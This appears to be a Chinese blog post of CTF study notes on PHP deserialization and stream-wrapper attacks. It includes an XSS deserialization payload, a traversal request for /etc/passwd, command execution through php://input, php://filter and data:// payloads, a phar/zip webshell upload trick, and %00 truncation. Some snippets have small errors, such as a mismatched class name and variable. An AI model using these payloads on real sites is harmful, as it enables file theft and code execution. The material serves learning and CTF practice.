PHP序列化与反序列化、PHP伪协议
最近的比赛都有PHP反序列化的题,于是学习一下。
本文目录
序列化和反序列化
序列化
要反序列化,先学习序列化,了解serialize()
函数,定义啥的就不复制粘贴了,理解了就好。直接简单明了将通俗点。
序列化就是通过使用serialize()
函数将一个对象变成可以传输的字符串,比如下面的栗子:
class baby{
public $test="lalala";
}
$baby=new B();//创建一个对象
serialize($baby);//把这个对象进行序列化
序列化后的到的结果是这个样子的
O:4:"baby":1:{s:4:"test";s:6:"lalala";}
参数说明:
O:代表object
4:代表对象名字长度为4个字符
baby:对象的名字
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
lalala:变量值
反序列化unserialize()
简单来说:就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
$u=unserialize("O:4:"baby":1:{s:4:"test";s:6:"lalala";}");
echo $u->test; //得到的结果是lalala
魔法函数
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
常见的几个魔法函数:
__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep() //在对象被序列化之前使用
__wakeup() //将在序列化之后立即被调用
漏洞举例:
class S{
var $test = "pikaqiu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
当输入这个payload时,这个payload是已经序列化的,对象test的值是一个xss弹窗脚本,上面的代码会对payload进行反序列化,然后在对象被销毁时执行魔法函数。执行xss弹窗。
下面靶场试验一下。pikachu
在框里输入序列化后的payload。进行提交。
成功弹窗。以上是最基础的PHP反序列化。
PHP伪协议
PHP支持的伪协议有以下几种
php:// — 访问各个输入/输出流(I/O streams)
file:// — 访问本地文件系统
phar:// — PHP 归档
zlib:// — 压缩流
data:// — 数据(RFC 2397)
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
allow_url_fopen
和allow_url_include
这两个关键配置需要开启相应的服务,才能使用相关函数对伪协议的支持,配置相关在php.ini
文件中
php://协议
php://
是用来访问各个输入、输出流的。
在php://
下还有许多子协议
php://input
php://input
代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input
可以获取到post的数据。
php://output
是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
php://input例题(ctf.show) web3
首先提示是文件包含漏洞,构造payload
https://537363ba-ba6d-47cf-b6f4-85e7986ffa04.chall.ctf.show/?url=../../../../../../../etc/passwd
etc和passwd这两个是linux系统中的文件。至于为什么构造这个,我不是很清楚,看过linux入门书籍,所以多少知道一点,《linux就该这样学》已看完。博客后续发。
然后就是伪协议,构造
https://537363ba-ba6d-47cf-b6f4-85e7986ffa04.chall.ctf.show/?url=php://input
抓包,到Repeater。自己构造相关命令执行
<?php system("ls");?>
ls是linux系统中列出当前目录下的文件的命令。至于system是有关一个命令执行漏洞,在我的学习命令执行漏洞的博客中有记录。
然后看到了ctf_go_go_go文件,然后使用命令cat 来查看文件内容。
flag查到。
php://filter
主要用于读取源代码并进行base64编码输出。
使用方法payload
php://filter/read=convert.base64-encode/resource=upload.php
file://协议
file://协议在双off的情况下也是可以正常使用的。
allow_url_fopen :off/on
allow_url_include:off/on
file://用于访问本地文件系统,在CTF中常用来读取本地文件。
使用方法:file://文件的绝对路径和文件名。
file:///etc/passwd
phar://协议
phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀
xxx.php(木马)->压缩->xxx.zip->改后缀->xxx.jpg->上传->phar://xx.jpg/xxx.php
与文件上传相结合。
zip://协议
在allow_url_fopen
,allow_url_include
都关闭的情况下可以正常使用,
file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
file.php?file=zip://nac.jpg#nac.php 其中get请求中#需要进行编码,即%23
data://协议
data://:需满足allow_url_fopen
,allow_url_include
同时开启才能使用,使用如下:
file.php?file=data://text/plain,<?php phpinfo()?>
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
还是那个例题:
截断问题
是否截断要考虑php的版本问题,PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;不能使用%00截断。
PHP版本<=5.2 可以使用%00进行截断。
情况一:不需要截断:
http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt
<?php
include($_GET['file'])
?>
情况二:需要截断:
在php版本<=5.2中进行测试是可以使用%00截断的。
http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00
<?php
include($_GET['file'].’.php’)
?>
文末寄语:
我觉得生命是最重要的,所以在我心里,没有事情是解决不了的。不是每一个人都可以幸运地过自己理想中的生活,有楼有车当然好了,没有难道哭吗?所以呢,我们一定要享受我们所过的生活。 —— 《新不了情》